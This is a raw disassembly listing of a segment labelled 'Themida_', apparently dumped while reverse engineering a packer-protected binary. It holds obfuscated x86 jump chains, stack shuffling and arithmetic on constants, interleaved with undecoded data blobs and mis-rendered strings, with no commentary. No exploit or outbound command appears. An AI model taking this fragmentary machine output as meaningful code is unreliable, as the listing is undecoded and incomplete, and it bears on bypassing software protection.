aZ4Snw		db '┤4$ИNw',0
		align 2


loc_5595FE:				; CODE XREF: Themida_:00555670j
		shr	eax, 8
		not	eax
		xor	eax, 0D3552939h
		mov	esi, eax
		jmp	loc_55AC9A
; ---------------------------------------------------------------------------
aWs		db 'WИна',0
		dd 70B05000h, 0C200E734h, 0A4EC8058h, 0C480D428h, 0B1515AA4h
		dd 59CC0090h, 0E9E68852h, 0FFFFF272h
; ---------------------------------------------------------------------------


loc_559634:				; CODE XREF: Themida_:00562925j
		sub	edx, 33195EFh
		mov	eax, edx
		pop	edx
		jmp	loc_55B633
; ---------------------------------------------------------------------------
		dw 0D105h
		dd 1128710h, 10D12DE8h,	2C8B1287h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 348B5456h,	4C48324h, 0FFFF02E9h
		dd 0B9515AFFh, 92B68B3Ch, 0C8BCF01h, 4C48124h, 5000000h
		dd 55536478h, 6841A005h, 16252D26h, 0F8015807h,	7162505h
		dd 41A02D58h, 782D2668h, 5F555364h, 1DE9C721h, 8000000Dh
		dd 148B53EBh, 0E0895024h, 4BE56h, 0F0010000h, 8406E95Eh
		dd 3C89FFFFh, 655FBF24h, 0BE562820h, 45B60908h,	7BAEEE81h
		dd 0DEF7524Fh, 0DEF7DEF7h, 8BA3E9h, 20ED8100h, 5860586Bh
		dd 5C242C87h, 3E30E9h
		db 0
; ---------------------------------------------------------------------------


loc_5596F1:				; CODE XREF: Themida_:005586E5j
		push	edx
		mov	edx, 39DC6187h
		inc	edx
		add	edx, 0F23F1029h
		mov	ecx, edx
		pop	edx
		jmp	loc_556544
; ---------------------------------------------------------------------------
		dw 0B5BEh
		dd 314C4950h, 2434FFDEh, 4C4815Bh, 31000000h, 24348BF3h
		dd 4C481h, 0E3C10000h, 47F38107h, 81131104h, 32D574F3h
		dd 2174E98Eh, 0DBB60000h, 5AF000h, 0DBB652F0h, 148BF028h
		dd 4C48324h, 5624148Bh,	9BE9E689h, 83000059h, 8F6602C4h
		dd 0EC812404h, 2, 242C8966h, 81E18951h,	4C1h, 2E98100h
		dd 87000000h, 665C240Ch, 66241489h, 22474FFh, 24148B66h
		dd 2C481h, 8F660000h, 87662404h, 0D7F766FAh, 66FA8766h
		dd 66241487h, 0E9242C8Bh, 0FFFFF7A4h, 0B8h, 93D82900h
		dd 1944E958h, 4BE0000h,	1000000h, 5E042474h, 5624348Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 0C6815C24h, 4, 4C681h
		dd 34870000h, 24248B24h, 2474FF55h, 1DE95D04h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5597EF:				; CODE XREF: Themida_:005620DDj
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_553721
; ---------------------------------------------------------------------------
		dd 45B9515Ah, 0E91DFC53h, 5031h, 2D04E0C1h, 3CE8AD96h
		dd 890E9h
		db 0
; ---------------------------------------------------------------------------


loc_559819:				; CODE XREF: Themida_:00553211j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_5656AB
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 58042444h,	68555658h, 4AC44CBBh, 64F5815Dh
		dd 891A203Bh, 0F6815DEEh, 50E477DBh, 9022E9h
		db 0
; ---------------------------------------------------------------------------


loc_559865:				; CODE XREF: Themida_:0055D74Fj
		add	ecx, esi
		jmp	loc_565186
; ---------------------------------------------------------------------------
aL4VtsP		db '▀4$VTИ:p',0
		align 2
		dw 0E4E9h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55987B:				; CODE XREF: Themida_:00555F23j
		sub	ebx, 647B4B0Fh
		neg	ebx
		sub	ebx, 303181A5h
		jmp	loc_552AF0
; ---------------------------------------------------------------------------
		dw 0F6BBh
		dd 815B5950h, 0D90B71F3h, 5BD82975h, 0FFCBA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5598A1:				; CODE XREF: Themida_:0055DE70j
		mov	edi, 5D527BB0h
		sub	edi, 224743B3h
		sub	edi, 384941EAh
		sub	edi, 0FFFFFFFFh
		jmp	loc_55AE06
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 94E95102h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598C3:				; CODE XREF: Themida_:0055C24Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_564657
; ---------------------------------------------------------------------------


loc_5598CE:				; CODE XREF: Themida_:0055FD47j
		mov	ecx, [esp]
		jmp	loc_564C95
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 196E902h, 77210000h,	0AF7AE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5598E6:				; CODE XREF: Themida_:00556EE5j
		add	edx, esi
		pop	esi
		jmp	loc_552E29
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E94366D3h, 0FFFF9FF3h, 1FAF41BDh, 0E9E9893Dh, 4FF9h
		dd 11C380h, 11EB80D3h, 0C0B60F5Ah, 0E98734FFh, 0FFFF7647h
		dd 575BDE01h, 556A7BBFh, 0E9DFF765h, 0FFFFB360h, 8904EC83h
		dd 0EABB241Ch, 16EFB7Bh, 6470E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55993A:				; CODE XREF: Themida_:00561243j
		mov	ecx, 75E35F63h
		add	dword ptr [esp+4], 0ED82EA4h
		push	esi
		mov	esi, 207B3CEEh
		add	[esp+8], esi
		pop	esi
		jmp	loc_560242
; ---------------------------------------------------------------------------
		db 81h
		dd 4543CEEBh, 348B5A10h, 4C48124h, 0E9000000h, 313Ah, 8205C829h
		dd 59107146h, 8904EC83h, 0F6BE2434h, 5025F02h, 280D3A84h
		dd 0E3E9F029h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55998B:				; CODE XREF: Themida_:0055A72Ej
		push	812h
		mov	[esp], esi
		jmp	loc_56535E
; ---------------------------------------------------------------------------


loc_559998:				; CODE XREF: Themida_:0055F16Aj
		push	edx
		mov	edx, esp
		jmp	loc_55A6AD
; ---------------------------------------------------------------------------
		dd 5002C483h, 5DE9E089h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5599AB:				; CODE XREF: Themida_:00563683j
		pop	esp
		add	esp, 4
		jmp	loc_564368
; ---------------------------------------------------------------------------
		db 68h
		dd 4B291C8Dh, 0DE3815Bh, 81052722h, 0A8D0B1F3h,	5BDF89F2h
		dd 295DEF29h, 0CE095FF9h, 0C070E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5599DA:				; CODE XREF: Themida_:0055358Aj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5564E5
; ---------------------------------------------------------------------------
aI4Si		db '┴4$И╘]',0
		align 2


loc_5599EE:				; CODE XREF: Themida_:00554E25j
		push	ebx
		mov	bl, dl
		mov	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		push	2555h
		jmp	loc_5632F5
; ---------------------------------------------------------------------------
		db 4
		dd 28162CCBh, 0E91604E8h, 9050h
; ---------------------------------------------------------------------------


loc_559A10:				; CODE XREF: Themida_:005569F3j
		push	7C06h
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2BC7h
		mov	[esp], esi
		push	ebx
		mov	ebx, 78A12FACh
		mov	esi, ebx
		pop	ebx
		dec	esi
		xor	esi, 639C4F52h
		jmp	loc_554231
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68240489h, 6B9407C7h, 24440158h, 24048B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551D61
; ---------------------------------------------------------------------------
		dw 8F5Bh
		dd 248B2404h, 4C68124h,	0E9000000h, 0FFFF847Dh,	61E9D8F7h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559A7B:				; CODE XREF: Themida_:00565BAAj
		inc	ebx
		or	ebx, 38C2F20h
		and	ebx, 0AC342CBh
		push	ecx
		mov	ecx, 14F84A4Ch
		dec	ecx
		add	ecx, 0EDC7B7F2h
		jmp	loc_556DCC
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 8E7C0CBh, 0BDB05066h, 5866C730h, 0F601C780h,	33EF80DFh
		dd 0BFF8E9h, 0ED814D00h, 6C1F5E92h, 0E487F581h,	0EF31CA7Eh
		dd 0A7B8505Dh, 5293B74h, 342DD203h, 48BC731h, 0F4BBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559ADA:				; CODE XREF: Themida_:00558AC8j
		add	ecx, 2105DB0h
		xor	eax, ecx
		pop	ecx
		push	253Ch
		mov	[esp], edx
		jmp	loc_55517F
; ---------------------------------------------------------------------------


loc_559AF0:				; CODE XREF: Themida_:0055F72Cj
		push	ecx
		jmp	loc_55F7DD
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 5BC16BC4h, 4F1CBE56h, 9CE9136Eh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B07:				; CODE XREF: Themida_:00565A17j
		sub	esi, 2C523480h
		push	edi
		mov	edi, 0AC315D2h
		or	edi, 77802874h
		jmp	loc_556D16
; ---------------------------------------------------------------------------


loc_559B1E:				; CODE XREF: Themida_:005550CFj
		mov	[esp], eax
		mov	eax, 24h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0C412036h
		jmp	loc_55476C
; ---------------------------------------------------------------------------
		db 5, 83h, 56h
		dd 0E8014AEEh, 9E84E953h, 5954FFFFh, 4BE56h, 0AFE90000h
		dd 890000B6h, 0EC81242Ch, 4, 0BA241489h, 5B775BDEh, 306BE281h
		dd 0DAF76E1Bh, 0E904EAC1h, 474Ch
; ---------------------------------------------------------------------------


loc_559B74:				; CODE XREF: Themida_:00560968j
		add	ecx, 7D575255h
		push	eax
		mov	eax, 7B5F539Ch
		add	ecx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_55B532
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 6B46EB81h, 0C3812DE3h, 72BD5FD1h, 8B2434FFh,	0C4812414h
		dd 4, 7645E953h
		db 2 dup(0FFh)
word_559BAA	dw 0EC83h		; DATA XREF: Themida_:00550E60o
		dd 242C8904h, 0C581E589h, 4, 8704ED83h,	0DFE9242Ch, 1FFFFA4h
		dd 0E9565AD0h, 7506h, 68E38953h, 656Ch,	50243C89h, 0A03B7C68h
		dd 0BB535811h, 0FFFFFFFFh, 0C15BD829h, 0F75008E8h, 98E92414h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_559BF3:				; CODE XREF: Themida_:005542D0j
		xchg	edi, [esp]
		jmp	loc_551202
; ---------------------------------------------------------------------------
		db 66h
		dd 0E99CC885h, 0FFFF735Bh, 42474FFh, 24048F5Eh,	0E924248Bh
		dd 5E7Dh, 0C7815F54h, 4, 8704EF83h, 895C243Ch, 58542404h
		dd 5BA668h, 24148900h, 128368h,	40CBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C3A:				; CODE XREF: Themida_:00551CECj
		add	edi, 2CCDF856h
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 47A93828h
		inc	ebp
		xor	ebp, 68F536E0h
		xor	ebp, 586A2992h
		jmp	loc_55D686
; ---------------------------------------------------------------------------


loc_559C63:				; CODE XREF: Themida_:0055F815j
		push	eax
		mov	eax, 37CC5798h
		push	edi
		mov	edi, 2D4F3A2Eh
		jmp	loc_5554EC
; ---------------------------------------------------------------------------


loc_559C74:				; CODE XREF: Themida_:005601B8j
		add	esi, 28E048CEh
		pop	ebp
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55527D
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 0F62D5A5Eh, 175EB7Ah, 7AF605D8h, 295B75EBh, 5F602DC8h
		dd 0E9591750h, 0FFFF7893h
; ---------------------------------------------------------------------------


loc_559CB0:				; CODE XREF: Themida_:0056349Aj
		pop	eax
		xor	edi, 0DB5AA828h
		add	ebp, edi
		pop	edi
		jmp	loc_558B61
; ---------------------------------------------------------------------------
		db 52h
		dd 468h, 0B7685A00h, 89000031h,	8953243Ch, 4C381E3h, 83000000h
		dd 1C3304EBh, 241C3124h, 5C241C33h, 0BE79E9h
		db 0
; ---------------------------------------------------------------------------


loc_559CE9:				; CODE XREF: Themida_:00554153j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55BF8D
; ---------------------------------------------------------------------------
dword_559CF4	dd 0E924248Bh, 0FFFF7263h, 5F7DC381h, 1A680216h, 8900004Fh
					; DATA XREF: Themida_:00550E40o
		dd 58E9240Ch, 68FFFFBFh, 5A90h,	68240C89h, 7366h, 707AE9h
		dd 4C18100h, 0E9000000h, 0B729h, 5254C580h, 33E99CB6h
		dd 890000AAh, 4C181E1h,	81000000h, 4C1h, 240C8700h, 2319E9h
		db 0
; ---------------------------------------------------------------------------


loc_559D4D:				; CODE XREF: Themida_:0055B126j
		push	ebx
		mov	bh, al
		mov	dl, bh
		pop	ebx
		pop	eax
		xor	dl, ch
		pop	ecx
		add	bl, 0E0h
		add	bl, 6Eh
		jmp	loc_5602CB
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 7F3D3506h, 6B2D5960h, 810EC351h, 0DB4566C2h,	81C2010Eh
		dd 0DB4566EAh, 24048B0Eh, 815A5452h, 4C2h, 0CFA4E900h
		dd 505AFFFFh, 0B0506CB0h, 0C0750429h, 0AD0406E8h, 0E905E0C0h
		dd 32ADh, 0B2241489h, 8BD1888Ah, 89562414h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0FFE1305Ch,	0E9582434h, 0FFFF9CBEh
		dd 0E951535Ah, 0B0A1h
; ---------------------------------------------------------------------------


loc_559DD4:				; CODE XREF: Themida_:0055763Bj
		add	edi, 2C5A79D6h
		jmp	loc_557A77
; ---------------------------------------------------------------------------
		db 59h
		dd 5604C483h, 0B63747BEh, 0F6814E7Eh, 422A3D3Dh, 348BF001h
		dd 896BE924h, 5056FFFFh, 9B5FC2B8h, 1A410D1Dh, 0BF577C55h
		dd 5D720872h, 2B9AC781h, 0F829128Eh, 81243C8Bh,	4C4h, 0DD0F700h
		dd 371A0FE4h, 2D06E8C1h, 0B167B216h, 4658C689h,	4EC81h
		dd 0E9E90000h, 8700000Ah, 248B2414h, 0C8B6624h,	0E1895124h
		dd 66F368h, 24148900h, 1C2EDC68h, 24148B54h, 4A04C483h
		dd 0FFC06CE9h
		db 0FFh
byte_559E61	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550D90o
aHir		db '$h┬r',0
		align 2
		dw 2C89h
		dd 835D5424h, 348904ECh, 0AE85E924h, 2C87FFFFh,	96E95C24h
		dd 68FFFF7Bh, 304Bh, 68243489h,	61CE07C3h, 4EC835Eh, 0BB241C89h
		dd 1F48413Bh, 79B2E9h, 2DE18100h, 0E932EB10h, 0FFFFB2EFh
		dd 0C3CC581h, 0BB534C29h, 6747C0Dh, 0C106E3C1h,	0CB8104EBh
		dd 52697635h, 1AFDF381h, 71E92479h
		db 0CDh, 2 dup(0FFh)
byte_559ECF	db 0FFh			; DATA XREF: Themida_:00550E6Co
		dd 34FF2434h, 0C4835824h, 9997E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559EDE:				; CODE XREF: Themida_:0056560Aj
		mov	ebp, 5F111707h
		mov	esi, 0C56146C7h
		sub	esi, 6BB17C71h
		sub	esi, ebp
		add	esi, 6BB17C71h
		pop	ebp
		sub	esi, 66502FBCh
		add	edx, 91176D4h
		add	edx, esi
		sub	edx, 91176D4h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55AF96
; ---------------------------------------------------------------------------


loc_559F17:				; CODE XREF: Themida_:005524AFj
		inc	edx
		add	edx, 7B5D4C7Eh
		jmp	loc_563364
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEAh, 4C481h, 0E2E90000h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F33:				; CODE XREF: Themida_:0055B34Ej
		and	ebx, 77E000Ah
		push	edx
		mov	edx, 5735491Bh
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0FD1D2764h
		add	eax, ebx
		pop	ebx
		jmp	loc_55CCB1
; ---------------------------------------------------------------------------


loc_559F58:				; CODE XREF: Themida_:00565479j
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_560145
; ---------------------------------------------------------------------------
		dw 8DB1h
		dd 8E1CE9h, 243C3100h, 8B243C33h, 3F682424h, 89000039h
		dd 0E789243Ch, 4C781h, 14E90000h, 89000032h, 0AB68241Ch
		dd 89000045h, 0C2882414h, 88D48850h, 25DEE9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559F9E:				; CODE XREF: Themida_:00565092j
		add	esp, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_55577C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 31E92404h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559FB3:				; CODE XREF: Themida_:00553DB4j
		add	dword ptr [esp], 678B76DFh
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BB241C89h, 2, 3B0CE9h, 243C8B00h, 4C481h, 0ED810000h
		dd 37442ABDh, 7B81F581h, 0C2815776h, 21A5770Ah,	5AE0C281h
		dd 0D9E90F69h, 88FFFFD1h, 34FF5BFDh, 1F83E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559FFE:				; CODE XREF: Themida_:0055CCE1j
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56279F
; ---------------------------------------------------------------------------
		dd offset dword_5407EC+17Ch
		align 10h
		dd 68241489h, 579Eh, 68240489h,	4, 0FFC28958h, 34FF2434h
		dd 24048B24h, 4C481h, 0C4830000h, 0C5A8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A03A:				; CODE XREF: Themida_:00562B70j
		add	ecx, ebp
		jmp	loc_55D014
; ---------------------------------------------------------------------------
		db 88h,	0FCh, 0FFh
		dd 815B2434h, 4C4h, 0B738E900h,	0D8300000h, 241C8B66h
		dd 505D5455h, 4B8h, 58C50100h, 26857h, 15F0000h, 48C1E9FDh
		dd 14F70000h, 24348B24h, 4C481h, 0EEC10000h, 7C7AE903h
		dd 5ABA0000h, 81364456h, 0F13DDAEAh, 0E9D701C2h, 0FFFFF5D9h
		dd 6820E681h, 0EE814202h, 18CB324Bh, 2056E9h, 58C63100h
		dd 46F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A0B1:				; CODE XREF: Themida_:0055950Fj
		mov	edx, 397A21A7h
		push	edi
		mov	edi, 54187421h
		shr	edi, 5
		and	edi, 0D9D2A7Ch
		jmp	loc_564D78
; ---------------------------------------------------------------------------


loc_55A0CA:				; CODE XREF: Themida_:00555777j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		push	800h
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 69342C1Ah
		shl	ecx, 2
		jmp	loc_558A7B
; ---------------------------------------------------------------------------


loc_55A0ED:				; CODE XREF: Themida_:00554108j
		sub	edx, 76742B9Ah
		jmp	loc_55CD7B
; ---------------------------------------------------------------------------
		dd 0E95EF501h, 0FFFFFCFAh, 878FE95Ah, 248BFFFFh, 4896624h
		dd 0E998B024h, 0E4Dh
; ---------------------------------------------------------------------------


loc_55A114:				; CODE XREF: Themida_:00553D02j
		sub	dh, 66h
		xor	bh, dh
		pop	edx
		jmp	loc_55F754
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7D2D40D0h, 29975999h, 8A30E9C7h
		db 2 dup(0FFh)
word_55A12E	dw 34FFh		; DATA XREF: Themida_:00550CA0o
		dd 2434FF24h, 68240C8Bh, 2532h,	0E9240489h, 0FFFFAB4Ch
		dd 55AD001h, 2,	31240433h, 4332404h, 98DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A15A:				; CODE XREF: Themida_:00557DF8j
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 20h, 0Eh
		dd 89520000h, 4B850E2h,	1000000h, 66E958C2h, 29000062h
		dd 348B5AD1h, 8FB8E924h, 0C968FFFFh, 89000014h,	0BA52242Ch
		dd 310751A8h, 815AD589h, 0CD3921F5h, 0E3685353h, 89000077h
		dd 0F4BA2414h, 812AB764h, 6AEE37C2h, 5AD38939h,	0A2E1E9h
		dd 0F4885000h, 0E958E588h, 0B1DFh
; ---------------------------------------------------------------------------


loc_55A1BC:				; CODE XREF: Themida_:00558A25j
		pop	edx
		jmp	loc_5654C4
; ---------------------------------------------------------------------------


loc_55A1C2:				; CODE XREF: Themida_:005518D2j
		push	esp
		jmp	loc_5642C6
; ---------------------------------------------------------------------------


loc_55A1C8:				; CODE XREF: Themida_:005512F6j
		xor	ebp, [esp]
		jmp	loc_55C070
; ---------------------------------------------------------------------------
		dd 746CC381h, 4DE9244Bh, 66FFFF8Fh, 6F54685Bh, 1C890000h
		dd 307FB324h, 0B5515BD9h, 4BCD8097h, 6613C580h,	5879E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A1FA:				; CODE XREF: Themida_:0055D8B7j
		pop	ebp
		jmp	loc_5563D4
; ---------------------------------------------------------------------------
aTxrsV		db 'TXRИэv',0
		align 4
		dd 405h, 4E88300h, 583BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A215:				; CODE XREF: Themida_:00553BDFj
		sub	edi, 1A687EE5h
		add	edi, ecx
		jmp	loc_565503
; ---------------------------------------------------------------------------


loc_55A222:				; DATA XREF: Themida_:00550EB4o
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, 684E3E76h
		sub	ebp, edi
		jmp	loc_5512E4
; ---------------------------------------------------------------------------
		dw 8355h
		dd 148904ECh, 45CEE924h, 0BD550000h, 10D448BDh,	52A5C581h
		dd 4D4D21EDh, 0FFDB16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A25D:				; CODE XREF: Themida_:00562108j
		push	ebp
		mov	ebp, 7B283499h
		jmp	loc_55C667
; ---------------------------------------------------------------------------


loc_55A268:				; CODE XREF: Themida_:00553C34j
		mov	edx, 50326E02h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	edx, ebx
		pop	ebx
		jmp	loc_55523C
; ---------------------------------------------------------------------------


loc_55A27B:				; CODE XREF: Themida_:00562524j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56083E
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF9C39h
; ---------------------------------------------------------------------------


loc_55A28C:				; CODE XREF: Themida_:00552295j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1
		add	[esp+4], eax
		push	dword ptr [esp]
		jmp	loc_5543BD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 9E92404h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2AF:				; CODE XREF: Themida_:0056513Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5552F1
; ---------------------------------------------------------------------------


loc_55A2BB:				; CODE XREF: Themida_:00563ED7j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_55419D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 83000000h,	0FF5104C1h, 0E9042474h,	0FFFFA37Dh
; ---------------------------------------------------------------------------


loc_55A2E0:				; CODE XREF: Themida_:0055715Bj
		pop	ebx
		push	eax
		mov	al, ch
		mov	bh, al
		pop	eax
		pop	ecx
		jmp	loc_560FA8
; ---------------------------------------------------------------------------


loc_55A2ED:				; CODE XREF: Themida_:00563625j
		pop	edx
		xchg	edx, ecx
		inc	ecx
		inc	ecx
		push	ebp
		mov	ebp, 2FED070Eh
		add	ecx, 38DA0E07h
		sub	ecx, ebp
		jmp	loc_562659
; ---------------------------------------------------------------------------


loc_55A305:				; CODE XREF: Themida_:0055D08Fj
		add	esp, 4
		jmp	loc_5585B6
; ---------------------------------------------------------------------------
		dd 3F7DC281h, 3BE9678Dh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A31B:				; CODE XREF: Themida_:00562215j
		push	edx
		mov	edx, 1F42469Bh
		sub	edx, 1F424697h
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_558DCE
; ---------------------------------------------------------------------------


loc_55A335:				; CODE XREF: Themida_:005623C2j
		mov	eax, edx
		jmp	loc_55265A
; ---------------------------------------------------------------------------
		dd 0F462E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A342:				; CODE XREF: Themida_:0055B53Ej
		xor	[ecx], eax
		pop	ecx
		pop	eax
		push	esi
		push	4188h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_56172E
; ---------------------------------------------------------------------------
a0Sra		db '0ыИR═',0
		db 0
; ---------------------------------------------------------------------------


loc_55A375:				; CODE XREF: Themida_:00562743j
		or	eax, eax
		jz	loc_5565D4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, 0EFE4A26h
		sub	esi, eax
		sub	esi, 0EFE4A26h
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_560780
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	8704C083h, 83E92404h, 29FFFFA8h, 0E95B241Ch
		dd 5DF5h, 8324048Bh, 0F78104C4h, 3084000Ch, 1350E981h
		dd 0F901418Ah, 1350C181h, 0E95F418Ah, 1701h, 48ECB81h
		dd 0EBC16A99h, 148AE907h, 5C680000h, 5918D073h,	0EC98E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A402:				; CODE XREF: Themida_:00554767j
		dec	ebp
		shl	ebp, 3
		add	ebp, 3F4BD7F9h
		mov	ecx, ebp
		jmp	loc_558AB8
; ---------------------------------------------------------------------------
		db 51h
		dd 0A14EBFB9h, 45C18106h, 0E9F95EB1h, 0A8F4h, 9F5258BBh
		dd 26E38160h, 5619834Bh, 8341FC68h, 24348B00h, 0FF7634E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A43D:				; CODE XREF: Themida_:0055E506j
		push	6C3F41F9h
		pop	ebx
		xor	ebx, 4FC7FFCh
		dec	ebx
		or	ebx, 1D2F1AC3h
		add	ebx, 8210C13Dh
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		jmp	loc_562B68
; ---------------------------------------------------------------------------
		dd 8704C583h, 815C242Ch, 2C3h, 2D59E900h, 0E9510000h, 0FFFFE262h
		dd 5D1C6F09h, 0FFD526E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A481:				; CODE XREF: Themida_:005582DFj
		mov	ecx, 4
		jmp	loc_560D5E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0CFBEB951h, 0C8010F12h, 81240C8Bh, 4C4h
		dd 730CE900h, 248BFFFFh, 24348924h, 956D7C68h, 0F3895E75h
		dd 8124348Bh, 4C4h, 0A8EB8100h,	5622AD6Fh, 0FE4031BEh
		dd 66F6815Fh, 293CF767h, 0F3815EF3h, 0D3EBA0FDh, 2565E951h
		dd 875B0000h, 0D35C2404h, 0E99C240Ch, 6368h, 4C481h, 34FF0000h
		dd 0C4815B24h, 4, 0E9240C31h, 0FFFF83ADh, 46BD5550h, 0B810A96Eh
		dd 10A96E4Ah, 15DE829h,	24048BC1h, 4C481h, 80E90000h, 5C000007h
		dd 81240C89h, 4ECh, 24248900h, 0FFC68DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A539:				; CODE XREF: Themida_:00557FB4j
		mov	eax, 4A9E4B5Eh
		inc	eax
		not	eax
		push	ebx
		mov	ebx, 4DE74C6Ch
		sub	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		jmp	loc_557AF5
; ---------------------------------------------------------------------------
		dw 5B5Eh
		dd 705DBB53h, 0EBC14324h, 7E3C103h, 5102EBC1h, 7DA0A8B9h
		dd 0FFCB3110h, 0E9592434h, 0FFFFE34Ah, 815EF589h, 0E6BCDCEDh
		dd 5DEF0100h, 686BEF81h, 0C78104FDh, 2A1D23B4h,	0EF81EF01h
		dd 2A1D23B4h, 686BC781h, 0EF8104FDh, 1EC66BC6h,	8904EC83h
		dd 6BBB241Ch, 0E9098209h, 0FFFFD41Fh, 3430BB53h, 4481301Dh
		dd 6FB90824h, 5C294BDEh, 6C810824h, 6FB90824h, 0E95B4BDEh
		dd 0FFFF8B8Ah
; ---------------------------------------------------------------------------


loc_55A5D0:				; CODE XREF: Themida_:005604EEj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556BDA
; ---------------------------------------------------------------------------


loc_55A5DE:				; CODE XREF: Themida_:005548BCj
		xor	eax, ecx
		push	eax
		push	ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_554B06
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 87h
